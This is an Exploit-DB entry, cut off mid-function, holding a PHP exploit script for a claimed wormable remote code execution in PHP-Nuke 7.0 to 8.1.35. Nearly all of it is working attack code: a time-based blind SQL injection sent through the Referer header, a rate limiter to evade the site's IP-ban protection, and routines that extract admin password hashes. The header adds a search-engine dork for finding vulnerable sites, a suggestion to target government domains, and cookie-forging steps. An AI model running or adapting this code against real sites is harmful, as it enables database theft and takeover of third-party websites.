Exploit-DB #12510
Description: PHP-Nuke 7.0/8.1/8.1.35 - Wormable Remote Code Execution
Type: webapps
Platform: php
Date: 2010-05-05
Author: Michael Brooks

Exploit:
#!/usr/bin/php
<?php
/*******************************************************************************
Wormable Remote Code Execution in PHP-Nuke 7.0/8.1/8.1.35(newist as of release)
Vendor's Website:http://phpnuke.org/
Secuirty Researcher: Michael Brooks (https://sitewat.ch)
Original Advisory: http://blog.sitewat.ch/2010/05/vulnerabilities-in-php-nuke.html

Google hack:
"Francisco Burzi"  "Page Generation:"  Seconds inurl:modules.php
1,170,000 results
add inurl:gov to the google hack if you want to make the news ;)
Works with maigic_quotes_gpc=On or Off
Works with AppArmor and Suhosin Hadend-PHP, tested on Ubuntu 9.04 and 10.04
My own LFI+SQLI attack is used to bypass AppArmor!
Also tested XAMPP on Windows XP
All tests where done with MySQL5 and PHP5
To obtain a user's cookie:
1) Register a normal account
2) Login
3) Type this into the same address bar and hit enter: javascript:document.cookie
To set a cookie you can do use this: javascript:document.cookie="admin=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2"
*******************************************************************************/
set_time_limit(0);
//The blind_sql_injeciton calss is a general exploit framework that we are inheriting.
class php_nuke_blind_sql_injection extends blind_sql_injection {
    //This is the blind sql injection request.
    function query($check){
        //Rate limiter to bypass ipban.php's protection.
        //Must stay below 5 requests every 2 seconds.
        if(!($this->request_count%4)){
            sleep(2);
        }
        //build the http request to Inject a query:
        //This is a simple get request with a custom referer
	     //$this->set_referer("'="/\*"  (select ".$check." from nuke_authors limit 1))-- */");
        $this->set_referer("'=(select ".$check." from nuke_authors limit 1))-- 1");
        /*example get and post request.
        *$this->set_get("id=1 or (select ".$check." from nuke_authors limit 1))";//$_GET[id]
        *$this->set_post("id=1 or (select ".$check." from nuke_authors limit 1))");//$_POST[id]
        */
    }
}
//This is a very efficient blind sql injection class. 
class blind_sql_injection{
    var $url, $backup_url, $result, $http, $request_count, $timeout;
    function blind_sql_injection($url,$timeout=10){
        $this->request_count=0;
        $this->url=$url;
        $this->backup_url=$url;
        $this->http=new http_client();
        $this->timeout=$timeout;
    }
    function set_get($get){
        $this->url=$this->url."?".$get;
    }
    function set_referer($referer){
        $this->http->referer=$referer;
    }
    function set_post($post){
        $this->http->postdata=$post;
    }
    function test_target(){
        return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");
    }
    function num_to_hex($arr){
        $ret='';
        foreach($arr as $a){
            if($a<=9){
                $ret.=$a;
            }else{
                $ret.=chr(87+$a);
            }
        }
        return $ret;
    }
    //Looking for a string of length 32 and base 16 in ascii chars.
    function find_md5($column){
        return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));
    }
    function find_sha1($column){
        return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));
    }
    //Look for an ascii string of arbitrary length.
    function find_string($column){
        $ret='';
        //A length of zero means we are looking for a null byte terminated string.
        $result=$this->bin_finder(128,0,"ascii(substring($column,%s,1))");
        foreach($result as $r){
            $ret.=chr($r);
        }
        return $ret;
    }
    //query() is a method that generates the sql injection request
    function query($check){
        //This function must be overridden.
    }
    function recheck($result,$question,$base){
       $this->bin_finder($base,1,$question,$start);
       //Force a long timeout.
       $tmp_timeout=$this->timeout;
       if($this->timeout<10){
          $this->timeout=10;
       }else{
          $this->timeout=$this->timeout*2;
       }
       $l=1;
       foreach($result as $r){
          if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){
              $result[]=$b;
              break;
          }
          $l++;
       }
       $this->timeout=$tmp_timeout;
    }
    function linear_finder($base,$length,$question){
        for($l=1;$l<=$length;$l++){
            for($b=0;$b<$base;$b++){
                if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){
                    $result[]=$b;
                    break;
                }
            }
        }
    }
    #Binary search for mysql based sql injection.
    function bin_finder($base,$length,$question){
         $start_pos=1;
        $result='';
        for($cur=$start_pos;$cur<=$length||$length==0;$cur++){
            $n=$base-1;
            $low=0;
            $floor=$low;
            $high=$n-1;
            $pos= $low+(($high-$low)/2);
            $found=false;
            while($low<=$high&&!$found){
                #asking the sql database if the current value is greater than $pos
                if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
                    #if this is true then the value must be the modulus.
                    if($pos==$n-1){
                       $result[]=$pos+1;
                       $found=true;
                    }else{
                        $low=$pos+1;
                    }
                #asking the sql database if the current value is less than $pos
                }else if($this->send("if(least(